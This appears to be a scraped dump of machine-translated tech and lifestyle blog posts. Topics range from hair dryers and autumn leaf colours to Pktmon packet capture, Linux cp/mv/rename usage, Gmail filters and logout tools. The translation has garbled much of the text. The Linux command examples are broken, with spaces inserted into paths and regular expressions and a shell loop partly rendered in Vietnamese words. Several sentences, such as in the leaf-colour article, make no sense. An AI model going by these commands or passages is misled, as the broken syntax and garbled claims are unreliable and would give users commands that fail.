The Philips HP8108 hair dryer is built with 2 drying modes which are hot and warm, allowing users to customize the temperature to dry hair quickly or let it dry slowly and save power. The machine is made of good material, durable, safe to use, helps to dry, create fashionable and diverse hairstyles.\n  Product features Hair dryer for fast, energy-saving hair drying with a capacity of 1000W. The foldable handle design helps to preserve and move easily. Philips hair dryer with 2 drying speeds, customized to use. Capacity: 1000W. Drying speed: 2 speeds. Utilities: Handy hook. Weight: 300g. Made in China. Warranty: 24 months. 4. Panasonic EH-ND30 1800W hair dryer Panasonic EH-ND30 1800W hair dryer has a compact but extremely powerful design with a capacity of 1800W, which helps to dry quickly and extremely saves users time.\nWith its compact size, you will easily carry this hair dryer in business or travel times.\n  Utilities of the machine High-power hair dryer 1800W fast drying hair dryer. 3 speed drying, with cool drying convenient use. The handle design is foldable and has a handy hanger. Protection mode automatically disconnects when overheating increases product durability. Size: 74mm x 200mm x 142mm. Weight: 315g. Manufactured in: Thailand. Warranty 12 months. 5. Panasonic hair dryer EH-ND13-V645 Panasonic EH-ND13-V645 hair dryer is a mini hair dryer designed in a compact and elegant color that will be an indispensable tool for better hair care.\nThe machine has a ventilated head designed with a honeycomb structure that helps reduce noise when operating.\n  Product features The capacity of 1000W creates strong airflow and heat for drying hair. There is a cool drying mode with 2 styling heads. Self-disconnection mode when overloading extends product life. Japanese famous brand products imported from Thailand. Cooling mode (No. 1) is suitable for drying weak, thin hair. The dryer has 2 levels of heat drying (numbers 2, 3). Genuine warranty for 12 months. Hope you have chosen a companion hair dryer with travel. When you need to order products, remember to access META.vn to own the best priced products.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJyfnpmgYrqqushmq6uZppq5brTAoqlmnKKusrM%3D\n","link":"/post/top-cheap-mini-travel-hair-dryer/","section":"post","tags":null,"title":"Top cheap mini travel hair dryer"},{"body":"The famous French novelist Albert Camus once said: \"Autumn is the second spring of heaven and earth, when each leaf suddenly turns into a colorful flower\". It's easy to sympathize with the thoughts of Albert Camus if you've ever walked on a beautiful autumn morning in Dinh Tien Hoang street, embrace the blue Sword Lake, or bike leisurely on Thanh Nien Street in a Sunday afternoon relaxed in the autumn weather to feel the wind carried the old style of West Lake, crept through the trees, rolling the yellow leaves tumbling in the air.\nFighting for mates can help animals adapt better when their habitat becomes harsh   Familiar autumn scenery at a corner of Guom Lake, Hanoi\nWe seem to be fascinated by the moment when this familiar season comes, due to both the peace and the poeticness it brings to nature, plants, and people. The trees are gradually turning color is an indispensable drawing in any masterpiece of autumn, whether anywhere on this earth.\nFor most leaf-changing plants, the leaves turn yellow in the fall. However, there are many cases where the leaves turn orange, brown or red (maple leaves), creating a typical scene for the third season of the year. So have you ever wondered what is the scientific mystery behind those spectacular autumn colors?\nUnexpected benefits of plants and animals: Lighting, explosive detection, disaster prediction and many other excellent applications   In the fall, the leaves turn not only yellow but also orange, red, purple .\nThere are dozens of reasons why leaves often change color in the fall, but one of the most significant contributors to this interesting natural phenomenon is the fall and daylight hours. It is shorter while night time is longer, and this factor has a strong influence on the metabolism as well as the biochemical reactions inside each leaf.\nAll derived from biological pigments (also known as \"biochromes\"). These are basically molecular substances that manifest in every living thing in a specific color by absorbing or reflecting the wavelength of light.\nNorway's global seed warehouse needs millions of dollars to upgrade because of rising temperatures   Chlorophyll is an indispensable substance in the photosynthesis process of leaves, while creating a characteristic green color\nIf you've ever studied high school biology, you're probably no stranger to chlorophyll. We all know that chlorophyll is an extremely important component of greenery, or the whole life of the Earth, because of its ability to absorb and convert light to create light. fusion of leaves. In addition, chlorophyll is also a factor in the characteristic green color of leaves.\nHowever, there are times when you come across more colorful plants than usual, this is because some of the other pigments found in plants are carotenoids, responsible for the orange on the leaves, and anthocyanins that produce the leaves. red and purple. While chlorophyll and carotenoids are present during leaf growth, anthocyanins are almost exclusively produced 'late' in the late summer and early fall.\nDuring the daytime period becomes shorter and at night becomes longer, the amount of light needed for photosynthesis and chlorophyll production is significantly insufficient, making this process significantly slower. , thereby making the chlorophyll comb no longer as abundant as it was in the summer. When the amount of chlorophyll produced is too low, the characteristic green color of the leaves begins to fade and disappear completely, making way for other colors. To put it more easily, the lack of chlorophyll in the top surface of the leaves is a better opportunity for the layers of carotenoids and anthocyanins that lurk underneath to be 'exposed.' the typical colors as mentioned above.\nThe secret behind the survival ability of water bears, the only \"immortal\" creature on Earth   Carotenoids are responsible for the orange color on leaves, anthocyanins produce red and purple leaves\nIn addition to the amount of sunlight and the amount of lighting time - the most important contributing factor to changing the color of foliage - temperature and humidity are also indispensable components. in this majestic 'transformation' of this nature. For example, during the warm, sunny autumn days with the cool, gentle night sky, the leaves will change color faster and more brilliantly.\nThe reason for this phenomenon is that in the days when the weather is not too hot, the sugar produced in the leaves will increase significantly, until the night, if the temperature drops low and stays stable at 18 - 23 degrees Celsius, capillaries (veins) will minimize to prevent this sugar from moving out. Just like that, a circulation is established and this speeds up the production of anthocyanin pigments, producing red, purple and crimson shades for the foliage.\nNot stopping there, altitude and type, species are also two other factors that significantly affect the speed of color change and color of leaves. For trees growing in the rugged high mountains, the color change rate of leaves in autumn will also take place faster than those of the same species but located in the valleys and plains. , even at the same latitude.\nAdmire the magic of nature through the best photos at the Wildlife Photography Contest 2019   The color and rate of change of leaf color will also be greatly influenced by the position of the tree\nIn summary, the color and rate of color change of leaves in the autumn season is a familiar natural phenomenon but extremely complex and diverse. Environmental factors such as light, humidity, temperature, location, and nutrients all have a significant influence on the intensity and timing of changing the color of plants. It is still a familiar tree, but this year it can change leaves faster and more brilliant than last year, which is completely normal.\nSo, take advantage of the opportunity to take a walk down the street and take some souvenir photos yourself if you suddenly find that this fall is so beautiful! Because it is very likely that you will not be able to see that wonderful scenery again next year, especially in the context of climate change phenomenon on earth that is having complicated developments like today.\n17 signs that the 6th great extinction - the nightmare of humanity is about to sweep the earth   Walk down the street and enjoy the autumn scenery as soon as possible\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZqSVlsOmv4yona2dnmKwqa3NoJxmm5%2BhvLN5yKdkraCVYrOiuMs%3D\n","link":"/post/why-do-leaves-often-change-color-in-the-fall/","section":"post","tags":null,"title":"Why do leaves often change color in the fall?"},{"body":"A rather humorous bug has just been discovered on Windows 10 1903, causing icons of all USB drives connected to the device to be displayed incorrectly in File Explorer, even though they are correctly identified.\nSpecifically, when you plug the USB drive into the computer, at first, Windows will display the usual storage device icon as follows:\n  However, after only a few minutes, the drive's icon in File Explorer will change and begin to use the storage drive icon incorrectly as shown below.\n  However, after only a few minutes, the drive's icon in File Explorer will change and start displaying the incorrect illustration below.\nAlthough the icon has been changed, Windows 10 still identifies the right device that has just been connected via USB (including both removable storage and mobile devices).\n  This problem was first discovered and reported by computer expert Günter Born, before a series of other Windows 10 users caught the same phenomenon and shared their findings on several online forums. Big routes like Reddit and Microsoft Answers Community.\nIt is still unclear how this bug has appeared on Windows 10, but the first reports have been recorded since 5 days ago. According to the research, this problem only appears when the download of metadata and custom icons for installed devices is enabled in the \"Device installation settings\" section. The reason is probably because Microsoft recently made a few server changes on its terminal server, replacing the old USB drive icon in Windows with the new one.\nIt must be affirmed that this is not a big problem, but Microsoft should still make reasonable changes to make its operating system platform more perfect.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZXqprdJmmGaepaO7unnEq6moql2ZtrS8y5qwoqaXYsGpsYywqaiml2LCtK6MnamirpVitqS7zQ%3D%3D\n","link":"/post/windows-10-has-a-funny-error-displaying-the-wrong-usb-drive-icon/","section":"post","tags":null,"title":"Windows 10 has a funny error, displaying the wrong USB drive icon"},{"body":"A packet monitor, or network monitor, is a program that allows you to track the network traffic that travels through your computer's network devices down to the level of individual packets.\nPktmon: Windows 10's built-in network monitoring tool When released, Pktmon only supported the Event Trace Log (ETL) format, a proprietary log format created by Microsoft. Later, Microsoft added support for PCAPNG log files and real-time monitoring, which we will learn about in this article.\nTo use Pktmon, you need to launch Command Prompt with admin rights on Windows 10, as the program requires admin rights. Then you can get instructions on how to use the program by typing pktmon help in Command Prompt.\n To get more help instructions on a particular command, you can enter pktmon [command] help . For example, to view the documentation on the \"comp\" command , you would type:\npktmon comp help  For each sub-command, you can continue to use the help function to see its instructions, for example:\npktmon comp list help Using the built-in help feature is a great way to learn how to use Pktmon, and all users should check out the documentation before using the program.\nHow to use the Pktmon network monitoring tool Compared with a network monitoring tool with a graphical user interface, the Pktmon command line interface takes longer to get used to it.\nBefore you can track packets, you first need to create a filter using the command add pktmon filter, which specifies the traffic you want to track.\nFor example, you can monitor all network traffic on your network with the command:\npktmon filter add -i 192.168.1.0/24 . or monitor DNS traffic with:\npktmon filter add -t UDP -p 53 Again, the article recommends that you review the pktmon filter add help documentation to learn how to create filters.\nFor this example, I've created a filter to track DNS traffic as described above. To see filters made to monitor traffic, you would enter the command:\npktmon filter list  To start monitoring DNS traffic on all network interfaces and displaying activity in real time, you would use the following command:\npktmon start --etw -p 0 -l real-time Note that the example used the -p 0 argument , so it captures the entire packet. You can also specify a specific network interface to monitor using the -c argument followed by the interface's index ID. To get a list of network interfaces and index ID (ifIndex), you can use the command:\npktmon comp list When you start monitoring traffic, you should see captured DNS packets displayed in real time in the Command Prompt, as shown below.\n When you're ready to stop traffic monitoring, press Ctrl + C . When done, there will be the PktMon.etl log file created in the directory where you ran Pktmon.\nUnfortunately, ETL files are not a good choice as many applications don't support them. You can convert the ETL file into a PCAPNG file with the command pktmon pcapng . For example, to convert PktMon.etl to a PCAPNG file named PktMon.pcapng , type the following command:\npktmon pcapng PktMon.etl -o PktMon.pcapng After the log file is converted to PCANPNG format, you can load the file into a program like Wireshark to get detailed information about each DNS request.\n As you can see, Pktmon is an extremely powerful tool, allowing you to gain insight into the type of traffic flowing through your network.\nAlso, Pktmon can be tricky to use, so it's a good idea to familiarize yourself with the help documentation before running the command.\nnetwork monitor network packet monitoring ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkqaOkoryvedaipZ2np6h6cnzSZpmuoZyptq95zZ6rsKeioHquu82iq6iqmaO0bsDOqKM%3D\n","link":"/post/windows-10-s-built-in-network-monitoring-tool/","section":"post","tags":null,"title":"Windows 10's built-in network monitoring tool"},{"body":"Here are some of the most popular and suitable Firefox add-ons for graphic designers or related jobs, especially for web designers, testers, and editors. fix and detect information, errors that occur on the browser have a huge impact on their results or products. In the article below, TipsMake.com will list 10 most popular add-on applications for Firefox that web designers need and should have. 1. Firebug : This is an indispensable tool for many users as well as working, the application allows you to detect errors, edit HTML and Javascript code directly on any web page:\n  2.IE Tab:\nInternet Explorer Tab - a great support application to check if the created website works well on Microsoft's IE platform, so checking and reviewing the generated errors will be simple and concise. more. With just a simple operation, the user will see the results in IE or return to work. 3. Pixel Perfect : This add-on allows designers to create a 'overlay' layer on top of the HTML page, in fact this is an extension for Firefox / Firebug and has good compatibility with most other applications. 4. Web Developer : With this add-on that supports this Web Developer, users can add a toolbar or menu bar, along with many other web development tools, or customize each different web application. 5. Fireshot : This tool helps users take screenshots on the website interface, in part or in full. Unlike other support add-ons, Fireshot also has a built-in custom tool, through which you can insert annotated content, illustrations .\n  6. Aardvark:\nOften, designers will conduct 'cleanup' of the excess on their website by finding and removing elements that are not really necessary. And Aardvark is an essential tool to do this. 7. Firecookie : Essentially, a Firebug extension is used to view and manage cookies in the browser, and users can set the specifications to suit their needs. 8. YSlow : Used to analyze websites and report on the current status of the situation, there are times when the website is unusually slow, based on Yahoo's standard rules. 9. Grabber Palette : Indispensable for designers using Photoshop, Paint Shop Pro, GIMP, Flash, Fireworks or Paint.NET , apply Palette Grabber to create color palettes in their programs. 10. GridFox : Similar to PixelPerfect, but GridFox is used to apply on a wider model, with any website. Easy to customize, through which the designer can easily create the 'networks' used to design.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wJ2bqKajYrOwvoyfoKudlqTFbq3RnmSnnZWZsqV5xaipZqyYmnqxsc6po55llJrAqrPN\n","link":"/post/10-add-ons-for-firefox-are-needed-for-the-people-design/","section":"post","tags":null,"title":"10 add-ons for Firefox are needed for the 'people' design"},{"body":"Video and audio files are an integral part of the process of using computers, with videos downloaded from many different sources and in many different formats, converting them to other formats is required to be viewed on devices such as iPhone, iPad, iPod Touch, SmartPhone, DVD player, .\nCurrently, there are many software to support video conversion on the computer, but to choose the software that is really not really easy. Below, Network Administrator has synthesized 5 best and most widely used video format conversion software.\nTop 10 best audio and audio converter software available today Top best video editing software on computer Top software to create videos from quality images 1. Format Factory Download Format Factory Format Factory is a free, feature-rich video conversion application, which helps you convert a lot of video and audio formats today. Although the program interface is not appreciated, Format Factory is outstanding because it provides a lot of options and tweaks for you in the conversion process.\nMain features of Format Factory:\nConvert video formats: MP4 / 3GP / MPG / AVI / WMV / FLV / SWF. Convert video to audio: MP3 / WMA / AMR / OGG / AAC / WAV. Convert common image formats: JPG / BMP / PNG / TIF / ICO / GIF / TGA. Support audio and video formats for Android or iOS phones. Format Factory also has the ability to rip CD / DVD, convert video to GIF. Overall, this is a very effective free video conversion software and is being used by many people around the world. Therefore, Format Factory is the name you should consider when you need to find video conversion software.\n  See also: Convert videos by Format Factory\n2. Total Video Converter Download Total Video Converter The name that can't be ignored next when it comes to converting a video extension is Total Video Converter. This is a pretty familiar gadget for Vietnamese users because it has a long life. Total Video Converter is versatile when it can help you convert video formats for smartphones now easily.\nMain features of Total Video Converter:\nConvert all video formats to audio, video on mobile devices, PDA, PSP, iPod, iPhone, Xbox360, PS3 (mp4, 3gp, xvid, divx mpeg4, amr, .). Create photo slide shows from multiple image files and music with over 300 effects. Convert multiple video formats to MPEG, compatible with standard DVD / SVCD / VCD. Extract CD to any audio format directly.   3. Xilisoft HD Video Converter Download Xilisoft HD Video Converter Xilisoft HD Video Converter is a great tool for those who want to convert videos of different formats. This software is equipped with advanced High-Definition (HD) video conversion technology, making it easy to get the fastest video conversion speed. Besides, Xilisoft HD Video Converter also allows to extract and convert both audio files, take photos from video and even set the output file size.\nMain features of Xilisoft HD Video Converter:\nConvert many popular video formats like: AVI, MPEG, WMV, MPEG1 / 2/4, 3GP, H.264, MP4, DVD, VCD, SVCD, MOV, . Convert videos into audio file formats: MP2, MP3, AC3, RA, M4A, OGG, AAC, . Transfer the output files to iPad / iPad2 / iPhone 4 / iPod / PSP / iTunes directly after conversion. Convert HD videos to SD and audio, support CD burning. Support NVIDIA CUDA and ATI Stream technologies.   4. Aimersoft Video Converter Ultimate Download Aimersoft Video Converter Ultimate It is not exaggerating to say that Aimersoft Video Converter Ultimate is one of the most powerful and professional video conversion applications available today. It integrates a lot of useful features into software such as video conversion, CD / DVD ripper, video editing and burning. Besides, it also has the ability to download videos from more than 1,000 different websites. You can even remove DRM protection from videos to comfortably download, convert and view them on various devices.\nMain features of AVCU:\nQuality video conversion with standard definition and high popularity. Rip DVD to any video or audio format. Extract audio from video to audio like MP3, WMA, OGG, WAV, M4A, . Burn video to DVD disc, DVD folder or ISO file. Support effective video editing. Fast conversion speed.   5. AVS Video Converter Download AVS Video Converter Voted as the best video conversion software in 2012 with many reviews from blogs and user votes, AVS Video Converter is the perfect video editing and converting tool for you. The utility is capable of handling most of the popular video formats on the market, Rip and burn DVDs, convert video formats, create HD quality videos, and edit videos effectively.\nMain features of AVS Video Converter:\nConvert with the fastest time. Convert videos with subtitles included. Convert videos for different devices. Change the ratio correctly. Share videos on websites. Create videos for websites.   Above are the top 5 best video conversion software on computers that you can refer to and choose. If your computer is not available, please add one of these 5 software right away to experience the best features they bring!\nSee more:\n4 software to rotate video in reverse, tilt 90, 180 degrees best Free software download sites are safe Karaoke software on quality computers ncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZq6ZmbKwecKopa%2Bdoqi2sLqMrKafrKeWv6Z5wK%2BYoqSRl7mmedOom5qx\n","link":"/post/5-best-video-conversion-software-available-today/","section":"post","tags":null,"title":"5 best video conversion software available today"},{"body":"For office workers, especially those who work in accounting, it is inevitable that there are file errors in the process of using Excel. Although you are very careful, but for many different reasons, such as a computer infection, or due to the backup process, faulty copying will lead to this situation.\nThis is really bad if the file is unique and you do not have any backup. So in this case what will you do to recover this corrupted excel file?\nAlthough it is not certain that it will be 100% successful in all cases, in this article I will share with you some tips I have collected and in general the success rate is quite high. Okay! If you are having an error that the excel file or word cannot open or has an error, you can apply some of the methods below.\nI. Guide to most effectively fix Excel and Word files Yes, and here are 7 ways that I know, in addition to the ways I presented below, if you have any other options, do not forget to share again in the Comment section below. Thank you!\nOption 1: Try to copy the corrupted Excel file on another computer First, to determine if your Excel file is correct or not, you can test copy the Excel file to another computer to test it.\nOr if you have a bootable usb or a virtual computer, you can test it on it. If the Excel file is definitely faulty then move on to step 2 to start fixing.\nMethod 2: Open the corrupted Excel file with a newer version If you are using Office 2003 or Office 2007, you can copy it to other computers and open it with a newer version such as Office 2010, 2013 or Office 2016. Method 3: Repair Excel, Word file when it fails Instructions are done on Word 2013, other Word versions you do completely similar!\n+ Step 1: Open a new Excel file =\u0026gt; then click File =\u0026gt; Open =\u0026gt; select Computer =\u0026gt; click Browse and navigate to the corrupted Excel file you want to fix.\nTips: Word 2010 is similar to 2013, while Word 2007 is a little different in interface, you can click the Office button in the top left corner\u0026gt; then also find the Excel file that is having errors.\n  + Step 2: After pressing 1 to play the corrupted Excel file, then click on the drop-down arrow next to the word Open as shown below.\n  Now choose the Open and Repair feature to open and repair.\n  A popup message appears, choose Repair for the program to proceed to fix the error.\nTips: In the case that still does not work, ie your excel file is still error, you can repeat the steps above and at this step you choose Extract Data to recover data.   Okey! Now open the corrupted Excel file to see if it is okay\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2B0a6nrZ2UYrK5r8SlZJ%2BhnJp6orrDZquhnV2ivLTAjJ6dn52Tqba3sYywmLJlpKR6s7HCqK2eql2axaSxy2adoqSVqA%3D%3D\n","link":"/post/corrupted-excel-file-and-the-most-effective-way-to-recover-excel-files/","section":"post","tags":null,"title":"Corrupted Excel file and the most effective way to recover Excel files!"},{"body":"Similar to other streaming services, Disney Plus (Disney +) has the ability to add programs to watchlists. This allows you to manage all your favorite programs in one convenient section of the app. Adding and removing programs is very easy. Here is how to do it.\nManage your Disney Plus watchlist To add a program to the Disney Plus watchlist, first launch the app on the platform of your choice. Here, the article is using a browser on the computer, but the process is similar on other devices.\nChoose your profile if you have multiple profiles. Then, select the Search button from the top row of the application or website and search for the movie or show you want. Note that the search button on mobile is located on the bottom toolbar.\nWhen the results appear, select the thumbnail (thumbnail) for the program you want. Then, click the plus sign that appears next to the Play button on the program description page.\nA checkmark will appear after you've added a program to your watchlist to confirm it is on the list.\nWhat do you have in watchlist? To see what's on your watchlist, select the Watchlist tab at the top or bottom of the screen (depending on the platform you use).\nTo delete a movie or show, select the movie you want to delete and click the checkmark icon that appears when you first add it to the watchlist.\nThe checkmark will return to the original plus sign you clicked to add it to your watchlist. At the same time, the program will no longer appear in the Watchlist .\nDisney Plus makes it easy to manage your watchlist by adding or deleting movies or shows with just a few taps. Having a watchlist allows you to control what you want to see and watch.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqzscyorZ5lnaTDqrHSZpinnF2otbDD0madq6edYsSiwMKho6KrpGK8r3nDoqqnnaliva3B0g%3D%3D\n","link":"/post/how-to-add-remove-movies-and-shows-from-watchlist-on-disney-plus/","section":"post","tags":null,"title":"How to add / remove movies and shows from Watchlist on Disney Plus"},{"body":"There are more ways to copy and rename files on Linux than just cp and mv. Try some commands and other ways suggested below. They can surprise you and save you a lot of time.\nLinux users for decades have used simple cp and mv commands to copy and rename files. The cp and mv commands are the first commands that most of us learn and use everyday. But there are techniques, handy variants and some other commands to rename the files, as well as provide certain options.\nBasic Linux commands everyone needs to know How to copy files in Linux First, think about why you want to copy the file. You may need the same file in another location or you may want to create a copy before you edit the file to use in case you need to revert to the original file. The obvious way to do that is to use a command like ' cp myfile myfile-orig '.\nHowever, if you want to copy a large number of files, this method will not be suitable. Better alternatives are:\nUse the tar command to create an archive of all the files you want to back up before you start editing them. Use the for loop to make backups easier. Tar options are very simple. For all files in the current directory, you will use the following command:\n $ tar cf myfiles.tar *  For a group of files that you can define using templates, you will use the following command:\n $ tar cf myfiles.tar * .txt  In the first case you will create a file myfiles.tar , containing all the files in the directory. In the second case, the file myfiles.tar will contain all the files with the .txt extension.\nUsing the following loop will help create backups with modified names:\n $ for tập tin trong * \u0026gt; by \u0026gt; cp $ file $ file-orig \u0026gt; done  When you back up a file and the file has a very long name, you can rely on using the tab command to use the Filename completion feature by pressing the tab key after entering the file name and using it. This syntax to add \"- orig \" to the copy.\n $ cp file-with-a-very-long-name {, - orig}  After that, you have 2 file names as follows:\nxxxxxxxxxxxx and xxxxxxxxxxxx-orig.\nHow to rename files in Linux The traditional way to rename a file is to use the mv command. This command will move a file to another folder, change its name and leave it in a certain location.\n $ mv myfile / tmp $ mv myfile notmyfile $ mv myfile / tmp / notmyfile  But now we have many other rename commands to make some important file name changes. The secret to using the rename command is to get used to its syntax, but if you know a little bit about the perl programming language, you may not find it complicated at all.\nThis is a very useful example. Suppose you want to rename the files in the folder to replace all uppercase letters in lowercase. In general, you won't find many files that are uppercase on a Unix or Linux system, but sometimes this can happen. Here is an easy way to rename them without using the mv command for each file. The parameter / AZ / az / indicates the rename command to change any letter in AZ range to the corresponding letters in az.\n $ ls Agenda Group.JPG MyFile $ rename 'y / AZ / az /' * $ ls agenda group.jpg myfile  You can also use the rename command to delete the file extension. You may feel uncomfortable with text files with .txt tags . Simply remove them with a command like this:\n $ ls agenda.txt notes.txt weekly.txt $ rename 's / .txt //' * * $ ls agenda notes weekly  Now imagine you change your mind and want to reset the file extension. No problem. Just change the command. The trick is to understand that \" s \" before the first slash means \" substit '. Between the first two slashes are what you want to change. Between the second and third slashes is what you want to change to. So, $ represents the end of the file name and we will rename it to '.txt'.\n $ ls agenda notes weekly $ rename 's / $ /. txt /' * * $ ls agenda.txt notes.txt weekly.txt  You can also change other parts of the file name. Leave the rule s / old / new /.\n $ ls draft-minutes-2018-03 draft-minutes-2018-04 draft-minutes-2018-05 $ rename 's / draft / approved /' * minutes * $ ls approved-minutes-2018-03 approved-minutes-2018-04 approved-minutes-2018-05  Note: In the examples above, when we use an s as in \" s / old / new / \", we will replace part of this name with another name. When using y , you are translating (replacing characters from one scope to another).\nThere are many options for copying and renaming files in Linux. Find a plan that works best for you. Good luck!\nSee more:\nSearch for files and directories in Linux using the command line interface Learn the file system and folders on Linux operating systems 7 commands to manipulate the most basic files and folders everyone must know ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZurc2dZKudnpa6pnnFoqOeq12eu264yKessQ%3D%3D\n","link":"/post/how-to-copy-and-rename-files-in-linux/","section":"post","tags":null,"title":"How to copy and rename files in Linux"},{"body":"Bookmark is a tool for users to find important information such as bookmarks on Chrome or bookmarks on Firefox. With the Word editor, bookmarks will also find the information that users have marked quickly and easily.\nWith Word documents with long, multi-character content, creating bookmarks to mark any piece of text will make searching easier, saving processing time in text. The following article will guide you how to create bookmarks on Word 2016.\nHow to create Bookmarks in Word 2003, 2007 and Word 2010 How to set up shortcuts on Microsoft Word 2016 yourself Guide to Word Word 2016 (Part 19): Inserting Text Box GUIDE TO CREATE BOOKMARK IN WORD 2016 Step 1:\nIn the content of the Word 2016 document, you want to create a bookmark, highlight the text you want to create.\n  Step 2:\nUsers click on the Insert tab above and then select the Bookmark item .\n  Step 3:\nAppears the Bookmark dialog interface. Here, the section Bookmark name users enter the bookmark name for the highlighted text. Enter a name that covers the entire text for easy search, in case you create multiple bookmarks on Word.\nThe name in Bookmark name will not have spaces but must be written immediately. Finally click Add to add the name to the bookmark list.\n  Step 4:\nTo find the bookmark created in Word 2016, we also click the Insert tab and then select the Bookmark item. Then click on the bookmark you want to find the content and then click Go To to move to the text immediately.\n  Step 5:\nTo delete the bookmark created in Word 2016, click on the bookmark and select Delete in the dialog interface.\n  Creating bookmarks on Word makes it easy for users to handle document content, find the necessary information or the fastest text, compared to the traditional way of searching for information. Bookmarking on Word is done and can be deleted when you don't want to use it.\nI wish you all success!\nSee also: Complete Word Guide 2016 (Part 15): Numbering pages\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYybpqijnZa%2FrL%2BMoqVmr5%2BnsW5%2Bj2pt\n","link":"/post/how-to-create-bookmarks-in-word-2016/","section":"post","tags":null,"title":"How to create bookmarks in Word 2016"},{"body":"Creating filters in Gmail helps you sort and manage your mail more quickly, you should create filters suitable for each purpose of the mail. If you do not know how to create a filter in Gmail, please follow the instructions in the article below.\n  Below are detailed instructions on how to create a filter in Gmail to categorize messages.\nCREATE FILTER\nMethod 1: Create a new filter\nStep 1: Visit the link https://www.google.com/gmail/ and log in to your gmail account\nStep 2 : Select the icon \u0026nbsp;in the search box at the top of Gmail to display search options.\n  Step 3 : Enter your search criteria in the corresponding boxes you want: from (email sender), to (email recipient), subject (email subject), with words (there are words in the email ), none (in emails without words), does the email contain attachments, does it include the chat by message, what size, in how many days from what date?\nIf you want to check that the search is correct for your purpose, then after entering the search criteria, click the Search icon , the mailbox will show you the messages containing the search criteria. your sword.\n  Step 4: If the search criteria gave you the desired results, then click Create filter with this search.\n  Step 5 : Select the options that you want the filter to perform by checking the boxes before that option:\nSkip inbox (Archives): messages that need filtering do not appear in the inbox but are delivered directly to the folder you created. Mark as read : messages to filter are not important and it is not necessary to read them. Starred : all filtered messages are starred (Important mail). Forward : forward the filtered messages to the forwarding address, you need to add forwarding addresses in the Forwarding and POP / IMAP section of Gmail Settings . Delete conversations : the filtered messages are not important to you and you want to delete them. Never send this message to Spam : don't want the messages you are filtering to be automatically sent to the spam section. Always mark as important or Never mark as important : messages need to be filtered / not marked as important (Gmail will automatically mark whether a message is important or not based on attachments, senders, recipients, etc., and you can adjust Gmail's automatic markup with this option). Apply label : you can create a label for the filter by clicking Select label -\u0026gt; New label.   Enter the filter label name in the box below Enter a name for the new label . If you want to filter the mail in more detail, you can click on the \"Nested Labels\" section. After creating a new label, click Create .\n  After you have selected the above customizations, if you want to apply the filter to previous messages then you check the box before the line Also apply the filter to . appropriate conversation. Finally click on Create filter.\n  Method 2: Use a specific message to create a filter\nStep 1: Check the box before the message you want to use to create the filter. Next click More actions -\u0026gt; Filter messages based on these messages.\n  Step 2 : Enter more criteria to filter mail, and click Create filter with this search and do the same as the way 1.\n  So you have created the filter to classify mail in Gmail, you can edit or delete the filter if necessary and export and import the filter to another email.\nEDIT AND DELETE THE FILTER\nStep 1 : On gmail, select the Settings icon -\u0026gt; Install.\n  Step 2: Select the Filter tab and the blocked address , on the filter you want to edit and click Edit.\n  Step 3: After you have finished editing, select Continue , then select Update filter in the next interface.\n  Step 4 : To delete the filter, select Delete on the filter you want to delete.\n  EXPORT FILTER\nStep 1: In the Gmail Filter and Address , select the filter you want to export by checking the box before that filter and choose Export .\n  Step 2 : The window to save the xml file will appear, select the location and save the filter.\n  ENTER FILTER\nStep 1 : Also in the Filter and blocked addresses of Gmail, select Import filter.\n  Step 2 : Click Choose file and select to the filter you want to import.\n  Step 3 : Select Open file .\n  Step 4 : Click Create filter.\n  Above is how to create filters in Gmail to categorize messages, hope this article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyfoKWslafAbrXNZp6mmZmherW7jJyjmqujnrO6ecyeqqyZl5rA\n","link":"/post/how-to-create-filters-in-gmail-to-classify-messages/","section":"post","tags":null,"title":"How to create filters in Gmail to classify messages?"},{"body":"Logging out is not a complicated affair, but logging out of multiple accounts like Google, YouTube, Tumblr, . at the same time is quite time consuming. If users want to reduce the operation when logging out of multiple accounts, do not want to log out the accounts manually in turn, then the following tools can be used. These tools will shorten account logout for users. You do not need to visit each site and proceed to exit the account manually as before.\nThe fastest way to leave the Facebook group How to log out of your Google account on devices How to login to Facebook multiple accounts at the same time 1. Log out of your account with Logify Logify is a service that supports users to exit the entire account including Amazon, Dropbox, Google, Google Drive, MySpace, Netflix, Office 365, SoundCloud, Skype, Steam, The New York Times, Tumblr, Wikipedia, WordPress, Vimeo , YouTube. This site works in all browsers and we do not need to install any additional tools.\nStep 1:\nUsers access the link below to visit Logify's homepage.\nhttps://saig18.github.io/Logify/ Step 2:\nAt the page interface click on the blue icon with the arrow inside the circle between the interface.\n  Step 3:\nNext, the user will receive the following message, click Yes to agree to exit.\n  Soon the tabs that are accessing the above accounts will automatically close, and the account will also be logged out. Users should note the contents of the interface.\nWhen you log out of successful accounts you will receive a message like the one below.\n  2. Log out with Logout 4 All Logout 4 All, can help you quickly log out of your entire account in your browser with just one click. Logout 4 All supports logout of accounts on Gmail, Facebook, Twitter .\nTo install Logout 4 All, go to the link below, click Add to Chrome -\u0026gt; select Add extension .\nLogout 4 All After installing, simply click on the Logout 4 All icon to log out all accounts on the browser. This process only takes 2-3 seconds.\n  Not only can logout of all accounts on Chrome browser, Logout 4 All also supports wiping web surfing traces including history, caching, download history.\nTo customize the component and time to delete, right-click on the Logout 4 All icon -\u0026gt; Options -\u0026gt; Cache Settings -\u0026gt; after the setting is complete, click Save Settings to save the changes.\n  See more:\nGoogle Chrome and Firefox, which browsers \"consume\" more RAM? Secrets behind Google Incognito mode (Incognito) How to check which Chrome tab is slowing down your computer Extension Police, an extension that helps protect Chrome from malicious extensions ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqwwdNmq6GdXZq7tbXRnmSam5Okwq%2FAjKilpbFdZnqkuMicog%3D%3D\n","link":"/post/how-to-log-out-the-entire-account-only-1-click/","section":"post","tags":null,"title":"How to log out the entire account only 1 click"},{"body":"Apple has just released iOS 14.5 Beta with many outstanding new features. In it, there is the feature to unlock the iPhone without entering a password even when you are wearing a mask. This is quite reasonable when it comes to not having to pull the mask to open Face ID. Here's how to update iOS 